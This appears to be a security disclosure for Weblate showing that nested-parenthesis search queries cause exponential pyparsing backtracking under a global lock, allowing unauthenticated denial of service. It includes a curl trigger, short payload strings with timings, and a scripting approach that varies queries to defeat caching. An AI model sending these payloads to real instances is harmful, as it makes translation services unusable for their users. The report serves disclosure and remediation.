Weblate · Report #3898281
Unauthenticated ?q= search query causes exponential pyparsing backtracking under a process-global lock in Weblate
How it was found
Summary
Weblate's search-query grammar (weblate/utils/search.py:174-227) is built with
pyparsing.infix_notation over a term rule that is ambiguous at every position, and packrat
memoization is never enabled. Parsing a query with nested parentheses therefore backtracks
exponentially: cost grows ~4× per nesting level, so a 33-byte query string consumes
52 seconds of CPU. The parse runs inside parse_string() while holding the module-level
PARSER_LOCK (weblate/utils/search.py:1237), so a single request stalls every other search,
browse, translate and zen page served by the same worker process.
The browse, translate and zen views (weblate/trans/views/edit.py:1823, :1264, :1646)
parse ?q= during form validation with no authentication decorator and no rate limiting — the
check_rate_limit("search", …) guard exists only in the separate weblate/trans/views/search.py
view. On any project readable anonymously (the normal configuration for a public Weblate
instance), an unauthenticated attacker denies service with single short GET requests.
Pre-auth, default configuration.
Proof of Concept
Setup
File
{F6346667}
git clone https://github.com/WeblateOrg/weblate
cd weblate && git checkout e3952598329d1e4f5e765260948e0c8384ddabe9
python3 -m venv venv && venv/bin/pip install 'pyparsing==3.3.2' # pyproject.toml:190
venv/bin/python poc.py
poc.py does not retype the grammar. It lifts the exact source text of build_parser,
RegexExpr and RangeExpr out of weblate/utils/search.py and RawQuotedString out of
weblate/checks/parser.py using ast.get_source_segment, then execs those definitions against
a namespace containing only pyparsing symbols. What is measured is the target's own grammar. The
term parse action is swapped for a counter so no Django or database is required; the parse action
runs only on a successful term match and therefore cannot account for the cost — the blowup is
equally visible on inputs that fail to parse.
Trigger
Against a live instance, no authentication:
curl -sG 'https://weblate.example/browse/<project>/<component>/<lang>/' \
--data-urlencode 'q=(a (a (a (a (a (a (a (a a))))))))'
Standalone measurement:
venv/bin/python poc.py
Result
--- nested_parens ---
n=1 len=3 0.0029s - parsed
n=2 len=5 0.0072s 2.5x parsed
n=4 len=9 0.1307s 18.0x parsed
n=6 len=13 1.9561s 15.0x parsed
n=8 len=17 28.8399s 14.7x parsed
--- unbalanced_open ---
n=8 len=9 29.2494s 15.3x ParseException
--- nested_paren_terms ---
n=8 len=33 52.4289s 15.9x parsed
--- not_chain ---
n=16 len=65 22.2754s 18.6x parsed
Ratio ≈16× per two nesting levels ⇒ ≈4× per level ⇒ O(4ⁿ).
Smallest payloads crossing each threshold (Part 2):
nested_parens > 1s at n=6 len=13 1.832s (parsed) payload='((((((a))))))'
nested_parens > 10s at n=8 len=17 30.498s (parsed) payload='((((((((a))))))))'
unbalanced_open > 1s at n=6 len=7 1.750s (ParseException) payload='((((((a'
unbalanced_open > 10s at n=8 len=9 28.726s (ParseException) payload='((((((((a'
nested_paren_terms > 1s at n=6 len=25 3.154s (parsed) payload='(a (a (a (a (a (a a))))))'
nested_paren_terms > 10s at n=7 len=29 12.855s (parsed) payload='(a (a (a (a (a (a (a a)))))))'
not_chain > 1s at n=12 len=49 1.473s (parsed) payload='NOT NOT ... a'
not_chain > 10s at n=16 len=65 21.625s (parsed) payload='NOT NOT ... a'
Nine bytes (((((((((a) — an input that is not even a valid query — cost 28.7 s.
Process-global lock amplification (Part 3):
baseline victim parse (uncontended): 0.751 ms
attacker payload: '(a (a (a (a (a (a (a (a a))))))))' (33 bytes)
attacker parse: 53.057 s
victim0 parse: 52788.28 ms (70,295x baseline)
victim1 parse: 52777.23 ms (70,281x baseline)
victim2 parse: 52762.12 ms (70,261x baseline)
victim3 parse: 52751.40 ms (70,246x baseline)
Four unrelated, entirely benign queries (source:hello AND target:world) went from sub-millisecond
to 52.8 seconds — a 70,000× slowdown — purely by waiting on PARSER_LOCK while one
attacker request was parsed.
Impact
- Realistic exploitation: an attacker scripts unauthenticated GETs to
/browse/<any-public-project>/…/?q=(a (a (a (a (a (a (a (a b)))))))), varying the final letter each time to defeat thelru_cache. Each request pins one worker thread for ~52 s and blocks all other query parsing in that process. A handful of concurrent connections is enough to make the translation UI unusable for every user of the instance. There is nothing to clean up and nothing is logged as anomalous — the requests are well-formed and, for the balanced-paren family, are even valid queries that return normal results eventually.